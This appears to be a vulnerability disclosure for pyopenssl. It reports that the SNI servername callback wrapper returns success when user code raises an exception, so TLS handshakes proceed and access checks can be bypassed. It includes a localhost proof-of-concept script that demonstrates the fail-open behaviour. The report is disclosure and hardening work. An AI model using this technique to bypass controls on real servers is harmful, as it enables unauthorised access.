Fail-Open in set_tlsext_servername_callback on pyopenssl via unhandled exceptions leads to security bypass

# Fail-Open Vulnerability in `set_tlsext_servername_callback` allows Security Bypass via Unhandled Exceptions ## Summary The `pyopenssl` library exhibits a **Fail-Open** vulnerability in its handling of the Server Name Indication (SNI) callback (`set_tlsext_servername_callback`). The internal wrapper for this callback catches all Python exceptions raised by user code but returns `0` (Success/`SSL_TLSEXT_ERR_OK`) to the underlying OpenSSL engine. This behavior allows a TLS connection to be successfully established even when the security validation logic inside the callback crashes or raises an exception, potentially bypassing critical access controls or authentication mechanisms implemented at the SNI layer. ## Vulnerability Description In `src/OpenSSL/SSL.py`, the `set_tlsext_servername_callback` method wraps the user-provided function with a decorator that does not explicitly handle exceptions to signal failure: ```python # OpenSSL/SSL.py @wraps(callback) def wrapper(ssl, alert, arg): callback(Connection._reverse_mapping[ssl]) return 0 # Always returns Success (0) ``` When `callback(...)` raises an exception, the CFFI layer catches it, prints the traceback to stderr, and returns the default value for the declared return type (`int`), which is `0`. In the context of the OpenSSL `SSL_CTX_set_tlsext_servername_callback`, a return value of `0` corresponds to `SSL_TLSEXT_ERR_OK`. Consequently, OpenSSL proceeds with the handshake as if the validation succeeded. **Correct Secure Behavior (Fail-Closed):** If the callback raises an unhandled exception, the wrapper should catch it and return `SSL_TLSEXT_ERR_ALERT_FATAL` (or similar) to abort the handshake, ensuring a secure failure state. ## Steps to Reproduce 1. Install `pyopenssl`. 2. Run the following Python script (`poc.py`). 3. Observe that the client successfully connects and receives data ("VULNERABILITY CONFIRMED") despite the server's validation callback raising a `ValueError`. ### Proof of Concept (PoC) ```python import socket import threading import time from OpenSSL import SSL, crypto import os def generate_cert(): k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = 'VulnerableServer' cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10*365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(k) cert.sign(k, 'sha256') return cert, k cert, key = generate_cert() def crashing_callback(connection): # Simulates a security check that crashes (e.g., DB error, logic bug) print("\n[SERVER] Callback executing... Raising Exception!") raise ValueError("Critical Security Check Failed!") # The code never reaches a point to explicitly reject the connection. def start_server(): context = SSL.Context(SSL.TLS_SERVER_METHOD) context.use_privatekey(key) context.use_certificate(cert) context.set_tlsext_servername_callback(crashing_callback) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Using port 4433 to avoid conflicts try: server.bind(('localhost', 4433)) except Exception as e: print(f"[SERVER] Bind failed (port busy?): {e}") return server.listen(1) try: conn, addr = server.accept() ssl_conn = SSL.Connection(context, conn) ssl_conn.set_accept_state() try: ssl_conn.do_handshake() # If we reach here, the vulnerability is triggered ssl_conn.sendall(b"VULNERABILITY CONFIRMED: Connection Accepted") ssl_conn.shutdown() except Exception as e: print(f"[SERVER] Handshake Failed (Safe): {e}") finally: ssl_conn.close() conn.close() finally: server.close() def start_client(): time.sleep(1) context = SSL.Context(SSL.TLS_CLIENT_METHOD) context.set_verify(SSL.VERIFY_NONE, lambda *args: True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect(('localhost', 4433)) ssl_conn = SSL.Connection(context, sock) ssl_conn.set_connect_state() ssl_conn.set_tlsext_host_name(b"test.local") try: ssl_conn.do_handshake() data = ssl_conn.recv(1024) print(f"\n[CLIENT] Received: {data.decode()}") except Exception as e: print(f"\n[CLIENT] Handshake Failed: {e}") finally: sock.close() if __name__ == '__main__': t = threading.Thread(target=start_server) t.start() start_client() t.join() ``` ## Impact This issue allows attackers to bypass security controls implemented via SNI callbacks. If a developer relies on `set_tlsext_servername_callback` to enforce access policies (e.g., "Allow connection only if SNI matches X"), an attacker who can trigger an exception in that logic (e.g., via malformed input or resource exhaustion) will successfully establish a TLS connection, bypassing the intended restriction. This violates the "Fail-Secure" design principle required for security-critical libraries.